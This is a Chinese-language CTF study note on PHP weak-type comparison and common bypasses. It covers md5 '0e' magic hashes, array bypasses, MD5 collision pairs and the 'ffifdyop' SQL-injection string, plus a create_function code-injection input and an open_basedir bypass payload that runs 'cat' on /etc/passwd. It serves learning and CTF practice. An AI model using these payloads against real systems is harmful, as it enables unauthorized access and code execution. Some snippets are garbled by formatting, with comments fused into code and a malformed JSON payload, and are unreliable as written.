强类型与弱类型

强类型

  • 所谓强类型(Strongly typed),顾名思义就是强制数据类型定义的语言。也就是说,一旦一个变量被指定了某个数据类型,如果不经过强制转换,那么它就永远是这个数据类型。J

  • java、.NET、C++等都是强类型语言,在变量使用之前必须声明变量的类型和名称;且不经强制转换不允许两种不同类型的变量互相操作。

弱类型

  • 对数据的类型要求并不严格,可以让数据类型互相转换。

PHP中“==”和“===”

“==”和“===”都是用来比较两个数值是否相等的操作符。

当比较的两个值都是相同类型时候“==”和“===”是相等的。

1==1(两个int)1.0==1.0(两个float)‘H1TerHub’==’H1TerHub‘(两个字符串)

ATTENTION:在前后两个值的类型不一样的时候,‘==’会自动转换类型

img

一般看到“==”就可以关注是否存在弱类型比较

“==”类型转换的规则

1、字符串和数字比较,字符串会被转换成数字。

“admin”==0(true)//admin被转换成数字,由于admin是字符串,转换失败,int(admin)=0,所以比较结果是true。

2、混合字符串转换成数字,看字符串的第一个。

“1admin”==1 “2admin”==2

3、字符串开头以xex开头,x代表数字。会被转换成科学计数法。

x*10^x的形式。

1
2
3
4
‘2e2’=2*10^2=200
“-2e2”=-2*10^2 “0e2”=0*10^2=0
“hh-2e2”=0
“1hh-2e2”=1

img

bool类型的true跟任意字符串可以弱类型相等

1
2
3
4
<?php
if (true == “H1TerHub”){
echo “success”;
}

强|弱比较

  • 强比较===:先比较类型是否相同;再比较值

  • 弱类型比较==:会将字符类型转换为相同类型,在比较值

    ps:若比较数字和字符串 | 涉及数字内容的字符串;则字符串会转换为数值并按数值进行比较

eg:

当一个字符串欸当作一个数值来取值,其结果和类型如下:如果该字符串没有包含’.’,’e’,’E’并且其数值值在整形的范围之内 该字符串被当作int来取值,其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。

1
2
3
4
5
6
var_dump("admin"==0);    //true         
# admin为字符串,转换即为0var_dump("1admin"==1); //true
# 字符串中的数值的开始部分决定了其值var_dump("admin1"==1) //false
var_dump("admin1"==0) //true
var_dump("0e123456"=="0e4456789"); //true
# 将0e|0E识别为科学计数法;而0的n次方始终为0,故相等Copy

PHP: PHP 类型比较表 - Manual

一些php函数

md5()

1
md5(string,raw)
  • String: 必需,为要计算的字符串
  • Raw:
    • true: 原始16字符二进制格式
    • false:32字符十六进制数(默认)

利用md5($pass,true)构造万能密码sql注入

后端查询语句:

1
select * from 'admin' where password=md5($pass,true)

若MD5值经hex转换为字符串后为’or’+balabala这样的字符串;那么拼接的查询语句为:

1
select * from `admin` where password=''or'balabala'

当’or’后的值为true时,即可构成万能密码;在此利用到一个mysql特性: 在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数(测试时发现只要是数字都可以) (ps:这种情况必须有单引号括起来 如password='xxx' or '1xxxxxxxxx'就相当于password='xxx' or 1;故返回值为true)

常用payload:ffifdyop

md5强碰撞脚本

浅谈md5弱类型比较和强碰撞 - 合天网安

弱比较bypass

md5弱比较形式:
if($a != $b && md5($a) == md5($b))
这里有两种方法

  • 0e绕过
  • 数组绕过

0e绕过:是md5加密后是0exxxxx的形式,在==弱比较时,会被当做科学技术法,众所周知,0的任何次方都是0,自然判断为true
大佬整理的md5加密后0e开头

数组绕过:a[]=a&b[]=b,传入参数为数组则MD5返回NULL,null=null,判断为true,成功绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
一些md5编码后得到0exxx(此处xxx为十进制字符)的字符串
原字符串 md5值
QNKCDZO 0e830400451993494058024219903391
240610708 0e462097431906509019562988736854
aabg7XSs 0e087386482136013740957780965295
aabC9RqS 0e041022518165728065344349536299
s878926199a 0e545993274517709034328855841020
s155964671a 0e342768416822451524974117254469
s214587387a 0e848240448830537924465865611904
s214587387a 0e848240448830537924465865611904
s878926199a 0e545993274517709034328855841020
s1091221200a 0e940624217856561557816327384675
s1885207154a 0e509367213418206700842008763514
qebi7zl0 0e649420541288950724577306786996
qebaur5g 0e352312259284787676841028696030
qe20k7jl 0e416004725936696827118806457976
qe9vwdjf 0e288029216666843876260611249898

补一些脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 生成md5值为0exxx,还有一些套娃关卡的第一关也是要求验证码,改一下就能用了
import hashlib
l = 'qwertyuiopasdfghjklzxcvbnm1234567890'
for i in l:
for j in l:
for k in l:
for m in l:
for n in l:
for o in l:
for p in l:
for q in l:
f = i + j + k + m + n + o + p + q
md5 = hashlib.md5(f.encode(encoding='UTF-8')).hexdigest()
if md5[:2] == '0e' and str.isdigit(md5[2:]):
print(f)
print(md5)

加密后弱相等

形式如下:
if ($md5==md5($md5))
可以找0e开头并且md5后仍然0e开头的字符串,这样0==0,就可以绕过了。
这里可以用0e215962017。

1
2
3
4
5
6
7
8
# 0e215962017
import hashlibfor
i in range(0,10**41):
i='0e'+str(i)
md5=hashlib.md5(i.encode()).hexdigest()
if md5[:2]=='0e' and md5[2:].isdigit():
print('md5:{} '.format(i))
break
强比较bypass

md5强比较形式:
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2']))
0e绕过不能用了,因为强比较时,0exxx不再被当做科学计数法,而是被当做字符串。
数组绕过仍然可以。

  • 数组绕过

    1
    eg:(md5($id) === md5($gg) && $id !== $gg)直接数组绕过:?id[]=1&gg[]=2
  • 还有最近碰到的:

    md5强碰撞:md5强碰撞

    1
    2
    3
    4
    (string)$_POST['a1']!==(string)$_POST['a2']&&md5($_POST['a1'])===md5($_POST['a2'])}
    # 最后转换为字符串比较,因此使用数组就不可行了
    (md5(implode('',$_GET['username']))===md5(implode('',$_GET['password']))
    # implode()会先把数组元素拼接成字符串再进行md5加密,使用数组就不可行了

    只能使用两组MD5值相同的不同字符串了,这里可以用脚本跑, 下面是url编码过后的值:

    1
    2
    3
    4
    5
    # 1
    a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

    # 2
    a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

substr()、sha1()、base64_decode

substr()sha1()base64_decode()只能处理传入的字符串数据 当传入数组后会报出Warning错误,但仍会正常运行并返回值,当==左右两边都错误时,并且正常运行返回相同的值,就可以是判定条件成立

bypass:对substr()sha1()base64_decode()传入数组则返回null

1
2
3
4
5
6
$a=[];var_dump(substr($a, 123));        //NULL
var_dump(sha1($a)); //NULL
# sha1后为0e数字的值:aaroZmOk aaO8zKZF aaK1STfY
# aaK1STfY 0e76658526655756207688271159624026011393
# aaO8zKZF 0e89257456677279068558073954252716165668
var_dump(substr($a, 123) === sha1($cc)); //bool(true)

extract()变量覆盖

代码

1
2
3
4
5
6
7
8
9
10
<?php
$auth='0';
extract($_GET);
if($auth==1){
echo "flag{xxxxxxxxx}!";
}
else{
echo "nonono!";
}
?>

extract() 函数

从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。该函数返回成功设置的变量数目。为了拿到flag,需要auth值为1,此处我们利用extract()变量覆盖的缺陷,将auth覆盖为1。

intval()

获取变量的整数值

1
intval ( mixed $value , int $base = 10 ) : int

value:要转换的数量值,base:转换所用进制

三个特性:

  • 成功:返回var的整数值; 失败 or 空数组:返回0; 非空数组:返回1

  • 如果 base 是 0,通过检测 value 的格式来决定使用的进制:

    • 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
    • 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
    • 将使用 10 进制 (decimal)。
  • base为0,变量在遇上数字或正负符号才做转换,遇到非数字或字符串结束时以(\0)结束转换,ps:前提是进行弱类型比较

    默认遇到非数字字符就会停止识别 如:intval($_GET[1])传入1=666aa;intval得到结果为666

    Intval在处理字符串型的科学计数法时只输出e前的数字,而+1后又作为数字处理

    echo intval(1e10); ->10000000000

    echo intval(“1e10”); ->1

    echo intval(“1e10”+1); ->10000000001

is_numeric()

is_numeric() :判断变量是否为数字或数字字符串,不仅检查10进制,16进制也可以。

is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。所以,查看函数发现该函数对对于第一个空格字符会跳过空格字符判断,接着后面的判断因此输入%20password在解析变量名就会变成password

bypass

1
passwd=1234567%20passwd=1234567%00

此外:在某些cms中,会利用如下代码检测用户输入

1
2
3
4
5
# 该片段判断参数s是否为数字,是则带入数据库查询,不是则返回0
$s = is_numeric($_GET['s'])?$_GET['s']:0;
$sql="insert into test(type)values($s);";
//是 values($s) 不是values('$s')
mysql_query($sql);

但可以将sql语句转换为16进制传给参数

img

in_array()

1
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )

ps:strict相当于是否开启强比较

  • 不提供strict参数 (即默认为false)时,会进行松散比较,判断needle是否在数组haystack中
  • strict=true;还会比较needle和haystack中元素类型是否相同
1
2
3
4
5
6
7
$array=[0,1,2,'3'];var_dump(in_array('abc', $array));  //true   
# 'abc'转换为0
var_dump(in_array('1bc', $array)); //true
# '1bc'转换为1
# 转换整型int/浮点型float会返回元素个数;
# 转换bool返回Array中是否有元素;
# 转换成string返回'Array',并抛出warning

array_search()和in_array()类似

1
2
3
4
5
<?php
$a=array(1,4);
var_dump(array_search("4admin",$a)); // int(0)=> 返回键值1
var_dump(array_search("1admin",$a)); // int(1) ==>返回键值0
?>//这个和之前的类型转换类似,但是如果是array_search(“4admin”,$a,true),最后的“true”会禁止类型转换。

json()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key ="*********";
if ($message->key == $key ) {
echo "flag";
}
else {
echo "fail";
}
}
else{
echo "~~~~";
}
?>

输入一个json类型的字符串,json_decode函数解密成一个数组,判断数组中key的值是否等于
$key的值,但是$key的值我们不知道

这时我们构造一个和任意字符串返回为真的数组{“key”:true}。即可绕过

payload=message={“key”,true}

ereg()

正则表达式匹配,在php7.0.0版本后被去除

存在NULL截断漏洞,可以使用%00截断来绕过正则匹配~

像ctfshow web108

1
if(ereg("^[a-zA-Z]+$", $_GET['c'])===FALSE))

就可以用 a%00来绕过,在%00后就可以任意传入了

preg_match()

  1. preg_match只能处理字符串,当传入数组时会返回false
  2. PHP利用PCRE回溯次数限制绕过某些安全限制
  3. .不会匹配换行符; eg:preg_match('/^.*(flag).*$/', $a)可令a="\nflag" 而非多行模式下,$会忽略末尾的%0a即空字符; eg:preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag'可输入a=flag%0a

eval()

PHP: eval - Manual eval — 把字符串作为PHP代码执行:

1
eval(string `$code`): [mixed]

code为要执行的字符串,传入的代码不能包含打开/关闭PHP tags;且要以分号结尾

(实际可以把eval($code)的效果看成将$code这部分直接插入到php代码里~)

eval是语言构造器而不是一个函数,不能被可变函数调用

可变函数即变量名加括号,PHP系统会尝试解析成函数,如果有当前变量中的值为命名的函数,就会调用。如果没有就报错。 · 可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require eval() 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数

assert()

PHP: assert - Manual

assert把整个字符串当作php代码执行,而eval是把合法的php代码执行

在PHP7.1版本以后, assert()默认不再可以执行代码 (assert在更新后无法将使用字符串作为参数,而GET或POST传入的数据默认就是字符串类型)

preg_replace()

preg_replace() /e模式下可以执行代码:深入研究preg_replace与代码执行

preg_replace — 执行一个正则表达式的搜索和替换(PHP 4, PHP 5, PHP 7)

搜索subject中匹配pattern的部分, 以replacement进行替换。

第一个参数$pattern:搜索的模式,可以是一个字符串或者字符串数组,可以加\e修正符。

第二个参数$replacement:要替换的字符。

第三个参数$subject:需要被处理的字符串。

问题出在第一个参数的\e修正符上。当加上了\e修正符号时,$replacement会被当做php代码片段执行。这个环境需要在php5.4下。php7.0完全放弃了该函数,php5.5的后续版本会爆出提示,要求preg_replace_callback()来代替该函数。

creat_function()

代码注入 解析create_function()(seebug.org)

创建匿名函数:

1
create_function('$name','echo $name."a"')

就类似于

1
function name($name) {  echo $name."a";}

那么传入a=;}phpinfo();/*就会得到:

1
function name($name) {  echo $name;}phpinfo();/*;}

;}将前面的语句和函数闭合,/*把后面的;}注释掉,phpinfo();就成功执行了

curl()

php curl实现发送get和post请求 - 简书 (jianshu.com)

网鼎杯-Fakebook-反序列化和SSRF和file协议读取文件 (shuzhiduo.com)

strcmp()

strcmp(str1,str2):比较两个字符串str1和str2

  • str1<str2 返回<0
  • str1>str2返回>0
  • str1=str2 返回0

ps:数据类型不匹配(即传入非字符串类型),也会返回0 (仅php<5.3)

bypass:同样的,给strcmp的参数为数组也会返回null

1
2
# 传入 passwd[]=xxx
实际是因为函数接受到了不符合的类型,将发生错误,但是还是判断其相等(某种意义上null相当于false)

open_basedir()绕过

chdir()、ini_set()函数组合

利用ini_set()设置php.ini的值,在函数执行时生效,脚本结束后恢复原状。

1
ini_set ( string $varname , string $newvalue ) : string

varname是需要设置的值;newvalue是设置成为新的值 成功时返回旧的值,失败时返回 FALSE

1
2
payload:
ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');system(‘cat ../../../../../etc/passwd’);

glob:/

glob://协议是php5.3.0以后一种查找匹配的文件路径模式,而单纯传参glob://是没办法列目录的,需要结合其他函数方法

scandir()+glob://

只能列出根目录以及open_basedir()允许目录下的文件

1
2
3
<?php
var_dump(scandir('glob:///*'));
>

DirectoryIterator+glob://

DirectoryIterator是php5中增加的一个类,为用户提供一个简单的查看目录的接口,利用此方法可以绕过open_basedir限制。(但是似乎只能用于Linux下)

1
2
3
4
5
6
7
8
9
payloadL:
<?php
$a = new DirectoryIterator("glob:///*.txt");
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>
# glob:///* 会列出根目录下的文件
# glob://* 会列出open_basedir允许目录下的文件

opendir()+readdir()+glob://

同样只能列出根目录已经open_basedir()允许的目录

1
2
3
4
5
6
7
8
<?php
if ( $b = opendir('glob:///*') ) {
while ( ($file = readdir($b)) !== false ) {
echo $file."<br>";
}
closedir($b);
}
?>

一些特性

PHP处理上传文件

php在处理上传文件时,会将上传文件放在临时文件夹

命名格式为:/tmp/php??????(windows下则有[.tmp]后缀) php[0-9A-Za-z]{3,4,5,6}默认为php+4/6位随机数字和大小写字母

php短标签

<?=<?php echo 的简写形式

做题时可能遇到php被ban,就可以用短标签来绕过

以下取自php官方文档

当解析一个文件时,PHP 会寻找起始和结束标记,也就是 <?php?>,这告诉 PHP 开始和停止解析二者之间的代码。此种解析方式使得 PHP 可以被嵌入到各种不同的文档中去,而任何起始和结束标记之外的部分都会被 PHP 解析器忽略。

PHP 有一个 echo 标记简写 <?=, 它是更完整的 <?php echo 的简写形式

ps:短标记 (第三个例子) 是被默认开启的,但是也可以通过 short_open_tag php.ini 来直接禁用。如果 PHP 在被安装时使用了 —disable-short-tags 的配置,该功能则是被默认禁用的。

分号; 被过滤

之前做题遇到,分号;被ban掉,那么咱们传入的语法就不正确,无法正常运行

绕过方法是利用?>来结尾 要注意的是:?>后的php代码就不会被正常解析,而是当成html输出到页面上

00截断

条件

  • PHP版本小于5.3.4
  • php.ini中的magic_quotes_gpc设置为Off

00截断的原理:ascii中的0作为特殊字符保留,表示字符串结束

像十六进制的0x00、url编码中的%00,具体使用情况视环境而定